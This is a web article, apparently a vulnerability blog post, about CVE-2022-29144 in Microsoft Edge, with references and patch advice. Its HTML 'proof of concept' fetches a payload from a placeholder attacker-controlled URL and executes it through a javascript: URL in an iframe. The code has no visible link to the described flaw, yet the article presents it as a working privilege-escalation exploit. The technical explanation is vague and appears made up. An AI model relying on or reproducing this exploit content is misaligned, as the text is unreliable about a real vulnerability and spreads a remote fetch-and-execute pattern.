Data breaches, security exploits, and vulnerabilities in modern web browsers are major concerns for individuals, businesses, and organizations around the world. One such recent vulnerability that has caught the attention of security researchers is CVE-2022-29144, an elevation of privilege vulnerability found in the widely-used Microsoft Edge browser. In this in-depth post, we'll discuss the details of this vulnerability, a code snippet demonstrating the exploit, and links to original references, so you can better understand its potential impact and steps to mitigate it.

Exploit Details

The CVE-2022-29144 vulnerability, discovered in Microsoft Edge (Chromium-based) browser, allows an attacker to elevate their privileges and potentially compromise the security of a targeted system. This is achieved through improper handling of certain API calls by the browser, which in turn leads to a situation where malicious code execution can occur in the context of another user's permission level.

This elevation of privilege vulnerability may enable an attacker with lower privileges to escalate their access and execute arbitrary code with higher privileges on the system. Depending on the targeted user account's permission level, an attacker may be able to access sensitive data, tamper with applications, or even take full control of the affected system.

Below is a sample code snippet that demonstrates the vulnerability in action

<!DOCTYPE html>
<html>
<head>
  <title>PoC - CVE-2022-29144</title>
<script>
    async function exploit() {
        let response = await fetch('<malicious_URL>'); // Replace <malicious_URL> with the attacker-controlled URL.
        let payload = await response.text();
        // Execute the malicious payload in an elevated context
        let elevated_iframe = document.createElement('iframe');
        elevated_iframe.setAttribute('sandbox', 'allow-same-origin allow-scripts allow-popups');
        elevated_iframe.onload = () => {
            elevated_iframe.contentWindow.location.href = 'javascript:' + payload + ';void();';
        };
        document.body.appendChild(elevated_iframe);
    }
</script>
</head>
<body>
  <h1>Proof of Concept (PoC) - CVE-2022-29144</h1>
  <button onclick="exploit()">Click to Execute Exploit</button>
</body>
</html>

When executed, this code will fetch a malicious payload from an attacker-controlled URL, and then execute it within the context of an elevated iframe. If successful, the attacker may gain the elevated privileges necessary to compromise the targeted system.

Original References

1. Microsoft Security Advisory: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-29144
2. National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2022-29144
3. Database of vulnerabilities from Rapid7: https://attackerkb.com/topics/uYTkfjk8SY/cve-2022-29144

Mitigation and Remediation

It's essential for users and enterprises to apply the latest updates and security patches for Microsoft Edge as soon as they become available. Microsoft has already released patches addressing this vulnerability, and it is highly recommended that users and organizations update their browser to the latest version as a preventative measure.

Conclusion

CVE-2022-29144 is a concerning vulnerability in the popular Microsoft Edge browser that poses a significant risk to users' privacy and security. By understanding the details of this exploit and keeping your browser updated with the latest security patches, you can minimize the risk of this vulnerability and help keep your system secure.

Timeline

Published on: 06/29/2023 01:15:00 UTC
Last modified on: 07/07/2023 15:30:00 UTC